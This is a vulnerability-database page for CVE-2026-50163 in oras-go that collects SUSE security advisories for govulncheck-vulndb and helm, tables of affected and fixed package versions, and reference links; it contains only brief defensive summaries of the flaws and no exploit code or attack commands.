This update for govulncheck-vulndb fixes the following issues:
- Update to version 0.0.20260727T201416 2026-07-27T20:14:16Z (jsc#PED-11136):
Go CVE Numbering Authority IDs added or updated with aliases:
- GO-2026-5046 CVE-2026-46385 GHSA-w8j3-pq8g-8m7w
- GO-2026-5047 CVE-2026-46384 GHSA-mc57-h6j3-3hmv
- GO-2026-5048 GHSA-mx64-mj3q-7prj
- GO-2026-5051
- GO-2026-5069 CVE-2026-30246 GHSA-35hp-hqmv-8qg8
- GO-2026-5074 CVE-2026-45022 GHSA-389r-gv7p-r3rp
- GO-2026-5105 CVE-2026-41506 GHSA-3xc5-wrhm-f963
- GO-2026-5116 CVE-2026-44517 GHSA-49p4-px3h-rq49
- GO-2026-5158 CVE-2026-41178 GHSA-5wrp-cwcj-q835
- GO-2026-5198 CVE-2026-41642 GHSA-7235-89m6-f4px
- GO-2026-5208 CVE-2026-40890 GHSA-77fj-vx54-gvh7
- GO-2026-5266 CVE-2026-41643 GHSA-8rxh-r2p6-7f2q
- GO-2026-5309 GHSA-c3wq-j5vh-68rc
- GO-2026-5327 CVE-2026-2303 GHSA-cp6g-7hqx-qxhp
- GO-2026-5336 CVE-2026-45571 GHSA-crhj-59gh-8x96
- GO-2026-5346 CVE-2026-52845 GHSA-f59h-q822-g45g
- GO-2026-5408 GHSA-gx7w-56w6-g48x
- GO-2026-5426 CVE-2026-39883 GHSA-hfvc-g4fc-pqhx
- GO-2026-5435 CVE-2026-35206 GHSA-hr2v-4r36-88hr
- GO-2026-5452 CVE-2026-34783 GHSA-j6v5-g24h-vg4j
- GO-2026-5463 CVE-2026-8276 GHSA-jcqv-2g3v-gm88
- GO-2026-5471 CVE-2026-6993 GHSA-jj45-xvq5-rhh9
- GO-2026-5490 CVE-2026-44740 GHSA-m3xc-h892-ggx6
- GO-2026-5492 CVE-2026-45135 GHSA-m675-2p33-xv9g
- GO-2026-5506 CVE-2026-29181 GHSA-mh2q-q3fh-2475
- GO-2026-5525 CVE-2026-42285 GHSA-p3w2-64xm-833j
- GO-2026-5543 CVE-2026-32952 GHSA-pjcq-xvwq-hhpj
- GO-2026-5548 CVE-2026-44166 GHSA-pq7p-mc74-g65w
- GO-2026-5566 CVE-2026-35205 GHSA-q5jf-9vfq-h4h7
- GO-2026-5569 GHSA-q76j-gcg9-vxc6
- GO-2026-5585 CVE-2026-42554 GHSA-qjv7-627w-8qjv
- GO-2026-5593 CVE-2026-40611 GHSA-qqx8-2xmm-jrv8
- GO-2026-5595 CVE-2026-52844 GHSA-qrp7-cvwr-j2c6
- GO-2026-5597 CVE-2026-44973 GHSA-qw64-3x98-g7q2
- GO-2026-5606 GHSA-r46f-3rpw-hxrv
- GO-2026-5617 CVE-2026-42306 GHSA-rg2x-37c3-w2rh
- GO-2026-5660 CVE-2026-52846 GHSA-vcc4-2c75-vc9v
- GO-2026-5666 CVE-2026-35204 GHSA-vmx8-mqv2-9gmg
- GO-2026-5684 CVE-2026-42328 GHSA-w239-58x2-q8p5
- GO-2026-5693 GHSA-w5pp-99ch-qj29
- GO-2026-5730 GHSA-wwhq-w58m-w29c
- GO-2026-5736 CVE-2026-44283 GHSA-x35m-3gp4-4fh5
- GO-2026-5740 CVE-2026-44301 GHSA-x597-9fr4-5857
- GO-2026-5748 CVE-2026-7482 GHSA-x8qc-fggm-mpqg
- GO-2026-5750 CVE-2026-7020 GHSA-x99g-8v8j-25j2
- GO-2026-5774 GHSA-3fxj-6jh8-hvhx
- GO-2026-5775 GHSA-9g5q-2w5x-hmxf
- GO-2026-5777 GHSA-rjr7-jggh-pgcp
- GO-2026-5781
- GO-2026-5841 GHSA-259r-337f-4rfw
- GO-2026-5879 CVE-2026-50162 GHSA-8xwf-rjm4-xvhv
- GO-2026-5880 CVE-2026-50163 GHSA-fxhp-mv3v-67qp
- GO-2026-5882 CVE-2026-50151 GHSA-jxpm-75mh-9fp7
- GO-2026-5884 GHSA-vh4v-2xq2-g5cg
- GO-2026-5885 CVE-2026-48978 GHSA-xf85-363p-868w
- GO-2026-5886 CVE-2026-44332 GHSA-g5vh-55hw-rxm8
- GO-2026-5887 CVE-2026-45045 GHSA-gcfq-8gqf-4876
- GO-2026-5912 CVE-2026-53624 GHSA-gv83-gqw6-9j2c
- GO-2026-5954 CVE-2026-49838 GHSA-frrj-87jh-2772
- GO-2026-5955 CVE-2026-49837 GHSA-gjrg-jjr3-56cm
- GO-2026-5960 CVE-2026-54063 GHSA-h69g-9hx6-f3v4
- GO-2026-5971 CVE-2026-37462 GHSA-pw7p-7fqv-hpj8
- GO-2026-5983 CVE-2026-54448 GHSA-q3fv-x8vg-qqm4
- GO-2026-6000 CVE-2026-50274 GHSA-74j5-xf3v-crq8
- GO-2026-6058 CVE-2026-58442 GHSA-h2x6-g7q6-344v
- GO-2026-6059 CVE-2026-58431 GHSA-h56g-4qw7-2mxg
- GO-2026-6060 CVE-2026-58426 GHSA-hg5r-vq93-9fv6
- GO-2026-6061 GHSA-hrxh-6v49-42gf
- GO-2026-6062 CVE-2026-58434 GHSA-j2w3-9c3r-g83q
- GO-2026-6063 CVE-2026-58417 GHSA-jr5x-6h83-wrxf
- GO-2026-6064 CVE-2026-55984 GHSA-m932-crvm-gcp5
- GO-2026-6065 CVE-2026-55982 GHSA-mg4f-x9v4-6h2p
- GO-2026-6066 CVE-2026-58507 GHSA-p4mj-98mv-xq26
- GO-2026-6067 CVE-2026-58445 GHSA-pgqf-926r-548m
- GO-2026-6068 CVE-2026-58427 GHSA-prr9-9mp4-5gp2
- GO-2026-6069 CVE-2026-58510 GHSA-q423-49rw-g9mh
- GO-2026-6070 CVE-2026-58432 GHSA-q9pg-jj6x-j9p6
- GO-2026-6071 CVE-2026-59766 GHSA-qf2f-qh6p-7v89
- GO-2026-6072 CVE-2026-56750 GHSA-rgv6-xp99-6mgj
- GO-2026-6073 CVE-2026-58435…
- Record
SUSE-SU-2026:23227-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23973-1 No score
Security update for helm
This update for helm fixes the following issues:
- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
- CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).
- CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).
- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
- CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).
- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
- Record
SUSE-SU-2026:23973-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:23984-1 No score
Security update for helm
This update for helm fixes the following issues:
- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
- CVE-2026-56854: golang.org/x/crypto/ssh: source-address restriction bypassed in 5 callback families (bsc#1281426).
- CVE-2026-56855: golang.org/x/crypto/ssh: prevent DoS on deadlocked established channel (bsc#1281426).
- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
- CVE-2026-78662: golang.org/x/crypto/ssh: prevent DoS on deadlocked undecided channel (bsc#1281426).
- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
- Record
SUSE-SU-2026:23984-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:24282-1 No score
Security update for helm
This update for helm fixes the following issues:
- CVE-2026-33814: golang.org/x/net/http2: infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE (bsc#1265758).
- CVE-2026-35204: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary file write via specially crafted plugin (bsc#1261939).
- CVE-2026-35205: github.com/helm/helm: helm.sh/helm/v4: Helm: Arbitrary code execution due to insufficient plugin provenance verification (bsc#1261935).
- CVE-2026-35206: github.com/helm/helm: Helm: Files written to unexpected directory via specially crafted Chart (bsc#1261938).
- CVE-2026-41178: go.opentelemetry.io/otel/baggage,go.opentelemetry.io/otel/propagation: no rejection of raw-length headers in baggage parsing allows for DoS via oversized inputs (bsc#1276510).
- CVE-2026-41888: github.com/distribution/distribution/v3: tag deletion bypasses the storage.delete.enabled configuration (bsc#1265428).
- CVE-2026-48978: oras.land/oras-go/v2/registry/remote/auth: Malicious registry can hijack Bearer token realm to exfiltrate credentials and refresh tokens (bsc#1270127).
- CVE-2026-50151: oras-go: Credential forwarding via unvalidated Location header during blob upload (bsc#1271660).
- CVE-2026-50163: oras-go: Information disclosure and arbitrary file access via crafted tarball hardlinks (bsc#1276327).
- CVE-2026-56852: golang.org/x/text/unicode/norm: infinite loop on truncated/invalid UTF-8 input (bsc#1271997).
- CVE-2026-56854,CVE-2026-56855,CVE-2026-78662: golang.org/x/crypto/ssh: authentication bypass and deadlocks in the crypto/ssh library (bsc#1281426).
- CVE-2026-56864: x/mod/sumdb: ignore unrelated, unauthenticated hashes in Lookup (bsc#1275025).
- CVE-2026-56865: x/mod/sumdb/tlog: fix transparency log tile verification bypass (bsc#1275024).
- CVE-2026-63209: github.com/klauspost/compress: signed integer overflow in s2.NewDict() allows an attacker to bypass repeat index validation and cause a process crash (bsc#1283642).
- CVE-2026-81870: OpenTelemetry-Go: Information disclosure via exporter (bsc#1284104).
- CVE-2026-81871: go.opentelemetry.io/otel/exporters/otlp/otlplog/otlploggrpc: OpenTelemetry-Go: TLS certificate bypass allows log telemetry interception and alteration (bsc#1281468).
- CVE-2026-81872: go.opentelemetry.io/otel/sdk/log: OpenTelemetry-Go: Denial of Service via attacker-driven log emission (bsc#1281469).
- CVE-2026-85732: oras.land/oras-go/v2: blind SSRF via unvalidated Link header URL in pagination allows internal network probing (bsc#1281112).
- gRPC-Go: several issues affecting the xDS RBAC authorization engine and the HTTP/2 transport server implementation (bsc#1276514).
Changes for helm:
- update to 4.3.0:
- feat: Add duration functions
- feat(engine): add debug logging when lookup returns empty
- feat: add ownership verification before deleting resources
- feat: honor SOURCE_DATE_EPOCH for chart archives
- feat(rollback): add --description flag to provide rollback reason
- fix (internal/plugin): remove zero-width spaces from plugin name comment
- fix(loader): do not drop values files ending at a 4096-byte boundary
- fix(chart): normalize StampModTimes timestamp to UTC/truncate
- Chart.lock reproducibility test
- fix(provenance): support GnuPG keybox (pubring.kbx) keyrings
- fix(template): regression - route registry messages to stderr in template and show
- refactor: lower resync period from one hour to 3 minutes
- perf: enable concurrent status computation to prevent multi-minute delays
- fix: Improve error reporting for helm template --debug with --show-only- #31185
- fix: fetch logs from all containers in test pods- #32099
- fix(provenance): check error return in Digest and encodeRelease- #32136
- fix panic on repeated IsReachable calls- #32184
- fix: set [pull,push] scope when helm push to a registry(use token auth) - v4- #31211
- Fix missing conflict retry with server-side apply- #32088
- Properly format the extra field in gzipped…
- Record
SUSE-SU-2026:24282-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
oras.land/oras-go/v2Go |
through 2.6.1 | 2.6.2 |
golang-oras-oras-goDebian:12 |
All versions, plus listed versions 1.1.1-12.5.0-12.6.0-12.6.2-12.6.2-2 |
None known |
golang-oras-oras-goDebian:13 |
All versions, plus listed versions 2.5.0-12.6.0-12.6.2-12.6.2-2 |
None known |
golang-oras-oras-goDebian:14 |
before 2.6.2-1, plus listed versions 2.5.0-12.6.0-1 |
2.6.2-1 |
oras.land/oras-go/v2Go |
before 2.6.2 | 2.6.2 |
oras.land/oras-go/v2Root:Go |
before v2.6.1-aikido.1 | v2.6.1-aikido.1v2.6.1-aikido.2v2.6.1-aikido.3v2.6.0-aikido.2 |
rootio-oras.land/oras-go/v2Root:Go |
before v2.6.1-root.io.1 | v2.6.1-root.io.1v2.6.1-root.io.2v2.6.1-root.io.3v2.6.0-root.io.2 |
govulncheck-vulndbSUSE:Linux Enterprise Server 16.0 From an advisory covering 77 CVEs |
before 0.0.20260727T201416-160000.1.1 | 0.0.20260727T201416-160000.1.1 |
govulncheck-vulndbSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 77 CVEs |
before 0.0.20260727T201416-160000.1.1 | 0.0.20260727T201416-160000.1.1 |
helmSUSE:Linux Micro 6.2 From an advisory covering 18 CVEs |
before 4.3.0-160000.1.1 | 4.3.0-160000.1.1 |
Show 12 moreShow less
| Package | Affected | Fixed |
|---|---|---|
helmSUSE:Linux Enterprise Server 16.0 From an advisory covering 18 CVEs |
before 4.3.0-160000.1.1 | 4.3.0-160000.1.1 |
helmSUSE:Linux Enterprise Server for SAP applications 16.0 From an advisory covering 18 CVEs |
before 4.3.0-160000.1.1 | 4.3.0-160000.1.1 |
helmSUSE:Linux Micro 6.1 From an advisory covering 20 CVEs |
before 4.3.0-slfo.1.1_1.1 | 4.3.0-slfo.1.1_1.1 |
golang-oras-oras-goUbuntu:24.04:LTS |
All versions, plus listed versions 1.1.1-1ubuntu1 |
None known |
golang-oras-oras-goUbuntu:26.10 |
All versions, plus listed versions 2.6.0-12.6.2-1 |
None known |
golang-oras-oras-goUbuntu:26.04:LTS |
All versions, plus listed versions 2.5.0-12.6.0-1 |
None known |
orasopenSUSE:Tumbleweed |
before 1.3.3-2.1 | 1.3.3-2.1 |
helmopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 4.2.4-1.1 | 4.2.4-1.1 |
trivyopenSUSE:Tumbleweed From an advisory covering 4 CVEs |
before 0.74.0-2.1 | 0.74.0-2.1 |
govulncheck-vulndbopenSUSE:Leap 16.0 From an advisory covering 77 CVEs |
before 0.0.20260727T201416-160000.1.1 | 0.0.20260727T201416-160000.1.1 |
trivyopenSUSE:Leap 16.0 From an advisory covering 10 CVEs |
before 0.74.0-160000.2.1 | 0.74.0-160000.2.1 |
helmopenSUSE:Leap 16.0 From an advisory covering 18 CVEs |
before 4.3.0-160000.1.1 | 4.3.0-160000.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-50163 is a high vulnerability (CVSS 7.1) in Oras-project Oras-go, published July 1, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in oras.land/oras-go/v2 2.6.2.
References
github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp
github.com/oras-project/oras-go/pull/1232
github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451
github.com/oras-project/oras-go/releases/tag/v2.6.2
github.com/oras-project/oras-go/commit/b11f777f8d405c5023c4b307cfdc5068dfc3d406
nvd.nist.gov/vuln/detail/CVE-2026-50163
Show 133 moreShow less
github.com/advisories/GHSA-fxhp-mv3v-67qp
github.com/CVEProject/cvelistV5/tree/main/cves/2026/50xxx/CVE-2026-50163.json
security-tracker.debian.org/tracker/CVE-2026-50163
github.com/oras-project/oras-go
suse.com/support/update/announcement/2026/suse-su-202623216-1
suse.com/security/cve/CVE-2026-2303
suse.com/security/cve/CVE-2026-23603
suse.com/security/cve/CVE-2026-24451
suse.com/security/cve/CVE-2026-25038
suse.com/security/cve/CVE-2026-29181
suse.com/security/cve/CVE-2026-30246
suse.com/security/cve/CVE-2026-32952
suse.com/security/cve/CVE-2026-34783
suse.com/security/cve/CVE-2026-35204
suse.com/security/cve/CVE-2026-35205
suse.com/security/cve/CVE-2026-35206
suse.com/security/cve/CVE-2026-37462
suse.com/security/cve/CVE-2026-39883
suse.com/security/cve/CVE-2026-40611
suse.com/security/cve/CVE-2026-40890
suse.com/security/cve/CVE-2026-41178
suse.com/security/cve/CVE-2026-41506
suse.com/security/cve/CVE-2026-41642
suse.com/security/cve/CVE-2026-41643
suse.com/security/cve/CVE-2026-42285
suse.com/security/cve/CVE-2026-42306
suse.com/security/cve/CVE-2026-42328
suse.com/security/cve/CVE-2026-42554
suse.com/security/cve/CVE-2026-42931
suse.com/security/cve/CVE-2026-44166
suse.com/security/cve/CVE-2026-44283
suse.com/security/cve/CVE-2026-44301
suse.com/security/cve/CVE-2026-44332
suse.com/security/cve/CVE-2026-44517
suse.com/security/cve/CVE-2026-44740
suse.com/security/cve/CVE-2026-44973
suse.com/security/cve/CVE-2026-45022
suse.com/security/cve/CVE-2026-45045
suse.com/security/cve/CVE-2026-45135
suse.com/security/cve/CVE-2026-45571
suse.com/security/cve/CVE-2026-46384
suse.com/security/cve/CVE-2026-46385
suse.com/security/cve/CVE-2026-48978
suse.com/security/cve/CVE-2026-49837
suse.com/security/cve/CVE-2026-49838
suse.com/security/cve/CVE-2026-50151
suse.com/security/cve/CVE-2026-50162
suse.com/security/cve/CVE-2026-50163
suse.com/security/cve/CVE-2026-50274
suse.com/security/cve/CVE-2026-52844
suse.com/security/cve/CVE-2026-52845
suse.com/security/cve/CVE-2026-52846
suse.com/security/cve/CVE-2026-53624
suse.com/security/cve/CVE-2026-54063
suse.com/security/cve/CVE-2026-54448
suse.com/security/cve/CVE-2026-55982
suse.com/security/cve/CVE-2026-55984
suse.com/security/cve/CVE-2026-55987
suse.com/security/cve/CVE-2026-56750
suse.com/security/cve/CVE-2026-58417
suse.com/security/cve/CVE-2026-58418
suse.com/security/cve/CVE-2026-58421
suse.com/security/cve/CVE-2026-58425
suse.com/security/cve/CVE-2026-58426
suse.com/security/cve/CVE-2026-58427
suse.com/security/cve/CVE-2026-58431
suse.com/security/cve/CVE-2026-58432
suse.com/security/cve/CVE-2026-58434
suse.com/security/cve/CVE-2026-58435
suse.com/security/cve/CVE-2026-58438
suse.com/security/cve/CVE-2026-58439
suse.com/security/cve/CVE-2026-58441
suse.com/security/cve/CVE-2026-58442
suse.com/security/cve/CVE-2026-58443
suse.com/security/cve/CVE-2026-58445
suse.com/security/cve/CVE-2026-58507
suse.com/security/cve/CVE-2026-58510
suse.com/security/cve/CVE-2026-59766
suse.com/security/cve/CVE-2026-6993
suse.com/security/cve/CVE-2026-7020
suse.com/security/cve/CVE-2026-7482
suse.com/security/cve/CVE-2026-8276
suse.com/support/update/announcement/2026/suse-su-202623227-1
suse.com/support/update/announcement/2026/suse-su-202623973-1
bugzilla.suse.com/1261935
bugzilla.suse.com/1261938
bugzilla.suse.com/1261939
bugzilla.suse.com/1265428
bugzilla.suse.com/1265758
bugzilla.suse.com/1270127
bugzilla.suse.com/1271660
bugzilla.suse.com/1271997
bugzilla.suse.com/1275024
bugzilla.suse.com/1275025
bugzilla.suse.com/1276327
bugzilla.suse.com/1276510
bugzilla.suse.com/1276514
bugzilla.suse.com/1281112
bugzilla.suse.com/1281426
bugzilla.suse.com/1281468
bugzilla.suse.com/1281469
suse.com/security/cve/CVE-2026-33814
suse.com/security/cve/CVE-2026-41888
suse.com/security/cve/CVE-2026-56852
suse.com/security/cve/CVE-2026-56854
suse.com/security/cve/CVE-2026-56855
suse.com/security/cve/CVE-2026-56864
suse.com/security/cve/CVE-2026-56865
suse.com/security/cve/CVE-2026-78662
suse.com/security/cve/CVE-2026-81871
suse.com/security/cve/CVE-2026-81872
suse.com/security/cve/CVE-2026-85732
suse.com/support/update/announcement/2026/suse-su-202623984-1
suse.com/support/update/announcement/2026/suse-su-202624282-1
bugzilla.suse.com/1283642
bugzilla.suse.com/1284104
suse.com/security/cve/CVE-2026-63209
suse.com/security/cve/CVE-2026-81870
ubuntu.com/security/CVE-2026-50163
cve.org/CVERecord?id=CVE-2026-50163
suse.com/security/cve/CVE-2026-24122
suse.com/security/cve/CVE-2026-37236
bugzilla.suse.com/1258543
bugzilla.suse.com/1276745
bugzilla.suse.com/1278002
bugzilla.suse.com/1278624
bugzilla.suse.com/1278702
bugzilla.suse.com/1279390
bugzilla.suse.com/1279392
bugzilla.suse.com/1279395
suse.com/security/cve/CVE-2026-84303
suse.com/security/cve/CVE-2026-84304
suse.com/security/cve/CVE-2026-84445
Left out here: the rest of 6 source descriptions. The JSON record has them.